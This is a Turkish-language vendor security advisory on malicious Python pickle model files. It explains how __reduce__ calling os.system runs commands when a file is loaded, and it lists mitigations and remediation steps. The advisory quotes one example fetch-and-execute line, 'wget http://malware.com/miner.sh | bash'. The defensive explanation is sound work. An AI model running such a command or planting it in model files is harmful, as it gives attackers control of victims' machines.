EresusSecurity
Araştırmalara Dön
Deserialization Threats

Python Pickle Arbitrary Code Execution (Rastgele Kod Çalıştırma) Algılandı

Yiğit İbrahim SağlamOfansif Güvenlik Uzmanı
10 Nisan 2026
5 dk okuma

Genel Bakış

Python diline ait yerleşik pickle kütüphanesi, karmaşık veri nesnelerini serileştirmek (kaydetmek) ve geri okumak (deserialization) için onlarca yıldır ML sektörünün altın standardıydı. Modellerin ağırlıkları, veri setleri ve sinir ağı haritaları sıklıkla .pkl, .bin, .pt veya .pth uzantılı dosyalar halinde depolanır.

Bununla birlikte, pickle mimarisi doğalgaz kaçağı kadar tehlikelidir. Python resmi belgeleri dahi "Güvenilmeyen kaynaklardan alınan pickle verilerini kesinlikle okutmayın, rastgele kod çalıştırabilir!" şeklinde uyarılar yayımlamıştır. Çünkü Pickle veriyi okurken aslında ufak bir sanal makineyi (VM) çalıştırıp komut kümelerini (opcodes) işler.

Eğer Eresus Sentinel ağınızda bir PAIT-PKL-100 alarmı verdiyse; yüklemeye çalıştığınız Python model paketinin içinde doğrudan işletim sistemi komutu (OS commands) çalıştırmaya programlanmış, kötü niyetli ve silahlandırılmış kancalar tespit edilmiş demektir.

Suiistimalin Kalbi: __reduce__ Metodu

Tehdit aktörleri standart bir modeli zehirlemek için Python'un meşhur "Sihirli Metodu" (Magic Method) olan __reduce__ yapısını kurgularlar. Bu kod, dosya belleğe yüklenirken objenin nasıl deşifre edileceğine karar verir. Saldırgan __reduce__ metodundan Python'un kendi sistem okuyucusu olan os.system veya subprocess kütüphanesini çağırır. Modelin içine ise siber eylem olan wget http://malware.com/miner.sh | bash emrini gömer.

Kurumdaki veri bilimciniz merak edip sadece pickle.load(dosya) komutunu girip modeli "incelemek" istediği o ilk milisaniyede komut çalışır ve şirket bilgisayarının kontrolü karşıya geçer.

Saldırı Nasıl Gerçekleşiyor (How The Attack Works)

Korsanlar, Hugging Face, GitHub veya Kaggle gibi açık platformlara "En iyi Yapay Zeka Modeli" maskesiyle zehirli .pkl dosyaları yüklerler. Kullanıcı, modeli makinesine indirip Python'da okutmaya başladığı an enfekte olmuş dizin (Bytecodes) çalışarak sunucuya arka kapı kurar.

sequenceDiagram
    participant Saldirgan as Saldırgan
    participant Dosya_Alani as Model Havuzu (Hugging Face)
    participant MLOps_Uzmani as Kurban (Veri Bilimci)
    participant Python_VM as Python Interpreter
    participant OS as Kurbanın İşletim Sistemi

    Saldirgan->>Dosya_Alani: __reduce__ ile 'os.system' çağıran zehirli bir model eklenir
    Saldirgan->>Dosya_Alani: Zehirli dosya (model.pkl) adıyla MLOps sitelerinde yayımlanır
    MLOps_Uzmani->>Dosya_Alani: Kurum içi projede denemek üzere modeli bilgisayarına indirir
    MLOps_Uzmani->>Python_VM: Hiçbir şüphe duymadan 'pickle.load(model)' komutunu yazar
    Python_VM->>OS: Veri okunurken arkadaki sistem komutu RAM'e çıkar ve çalıştırılır
    OS-->>Saldirgan: Cihazın tam yetkisi, şirket dosyaları ve şifreler saldırgana açılır

Önemli Noktalar

  • Sıfır-Tık (Zero-Click) Sömürü: Modelin aktif edilmesine, bir tahmin yapmasına veya kod derlenmesine gerek yoktur. Zafiyet sadece dosyayı RAM'e çeken "load" emriyle patlak verir.
  • Geleneksel Antivirüslerin Körlüğü: Zehirli Pickle kodları doğrudan Python'un bytecode dökümleriyle işlendiğinden .exe veya script formatlarında gizlenmezler. Genelde şirket güvenlik duvarlarını (EDR/XDR sistemlerini) rahatlıkla baypas ederler.

Etkisi

Zehirli bir .pkl veya .pt (PyTorch) modelini okutmak, saldırgana kodu yürüten kullanıcının makinesindeki tüm yetkileri teslim eder. Kurban veri bilimcisinin ortamındaysa .aws/credentials ve özel VPN sertifikaları çalınır. Eğer bu dosya doğrudan üretim (Production / Inference) sanal sunucularında okutulursa; Kubernetes altyapısı rehin alınabilir ve kurumun o an işlediği müşterilere ait gerçek veriler saldırganın komuta kontrol (C2) sunucusuna pompalanır.

En İyi Çözüm Pratikleri

Yapay zeka operasyon ağınızı serileştirme saldırılarına (Deserialization attacks) kapatmak için:

  • Pickle Formundan Kesinlikle Vazgeçin: Kurum içindeki MLOps yapınızı Pickle tabanlı kaydetme/yükleme araçlarından arındırın. İçerisinde kod çalışmasına mani olan, salt-veri barındırıp sadece matematik matrislerini saklayan Safetensors veya ONNX formatlarına geçiş yapın.
  • Kaynağı Belirsiz Platformlar: Popüler ama doğrulanmamış şahsi yayıncılardan (Hugging Face user hesapları gibi) alınan dosyaları şirketin üretim hattına dahil etmeyin.
  • İzole Okuma: Eski tip .pkl ağırlıklarını illa okutmanız gerekiyorsa, bunu internet erişimi olmayan özel "Sandbox" (Kum havuzu) containerlarında gerçekleştirin.

İyileştirme (Remediation)

Eresus Sentinel siber ağınızda PAIT-PKL-100 koduyla bir model durdurduysa derhal sunucuyu fişten çekip karantinaya alın. Söz konusu şüpheli dosyayı tüm şirket repolarından ve developer bilgisayarlarından fiziksel olarak silin. Olaydan hemen önce siber adli bilişim analizi yaparak kodun sistemden veri sızdırıp sızdırmadığını teyit edin. Gelecekte MLOps süreçlerinizi her zaman Safetensors kurgularıyla yürütmeye özen gösterin.

İleri Okumalar ve Kaynaklar (Further Reading)

Yapay zeka modellerinin taşıdığı format güvenlik zafiyetleri üzerine derinleşmek için aşağıdaki akademik ve kurumsal analiz raporlarını okuyabilirsiniz:


📥 Eresus Sentinel Pickle Zafiyetlerini Cihazınıza Yüklenmeden Parçalar Yapay zeka mühendisleriniz daha kodu çağıran load() tuşuna basmadan önce, Eresus Sentinel eski sistem .pkl, .bin, .pt dosyalarının içine statik okumalar yaparak gömülü __reduce__ tuzaklarını tespit ve imha eder. ML ağınızı sürpriz saldırılardan koruyun.

Daha Fazla Bilgi | Demo Randevusu Alın

Saha Kontrol Notları

Bu başlık pratikte yalnızca teorik risk olarak ele alınmamalıdır. AI sistemlerinde zafiyetin etkisi, modelin bulunduğu ortam ve bağlı olduğu veri kaynaklarıyla birlikte değişir.

İnceleme sırasında şu kanıtlar toplanmalıdır:

  • Model veya agent hangi ortamda çalışıyor?
  • Hangi kullanıcı veya servis hesabı kullanılıyor?
  • Hassas veri kaynakları ayrı etiketlenmiş mi?
  • Model dosyası veya artefact kaynağı doğrulanmış mı?
  • Yükleme anında kod çalıştırma riski var mı?
  • Retrieval sonuçları kullanıcı yetkisine göre filtreleniyor mu?
  • Tool çağrıları ayrı loglanıyor mu?
  • Kritik aksiyonlarda onay mekanizması var mı?
  • Test ortamı production verisinden ayrılmış mı?
  • Olay halinde hangi loglardan geri dönüş yapılacak?

Uygulama Kontrol Listesi

  • Güvenilmeyen model dosyaları izole ortamda açılmalı.
  • Model registry erişimi minimum yetkiyle çalışmalı.
  • Hash, imza veya provenance bilgisi tutulmalı.
  • Agent tool izinleri görev bazlı ayrılmalı.
  • Memory ve retrieval kaynakları ayrı güven sınırı olarak ele alınmalı.
  • Prompt testleri runtime aksiyon testleriyle desteklenmeli.
  • Her bulgu iş etkisiyle birlikte raporlanmalı.

Karar Noktası

Bu risk müşteri verisine, üretim API’sine, geliştirici ortamına veya model yükleme hattına dokunuyorsa bekletilmemelidir. Eresus Security bu tip incelemelerde dosya, runtime, tool ve veri sınırını birlikte test ederek gerçek saldırı yolunu kanıtlar.

Ek Kontrol Soruları

  • Bu risk hangi varlıkları etkiliyor?
  • Hangi kullanıcı rolleri bu akışa erişebiliyor?
  • Aynı sorun başka endpoint veya entegrasyonda tekrar ediyor mu?
  • Bulgunun müşteri verisine etkisi var mı?
  • Loglardan olayın izi sürülebiliyor mu?
  • Düzeltme sonrası retest nasıl yapılacak?
  • Geçici önlem ile kalıcı çözüm ayrıldı mı?
  • İş etkisi teknik ekibin dışında da anlaşılır mı?
  • Benzer hata için önleyici kontrol eklenebilir mi?
  • Ekip bu kontrolü release sürecine bağlayabilir mi?
  • Gerekirse bağımsız doğrulama için hangi kanıtlar hazırlanmalı?
  • Sonraki sprintte hangi iç bağlantı ve servis sayfası desteklemeli?

Güvenlik Doğrulaması

Bu riski kendi sisteminizde test ettirdiniz mi?

Eresus Security; sızma testi, AI ajan güvenliği ve kırmızı takım operasyonlarıyla gerçek istismar kanıtı üretir.

Pilot test talep et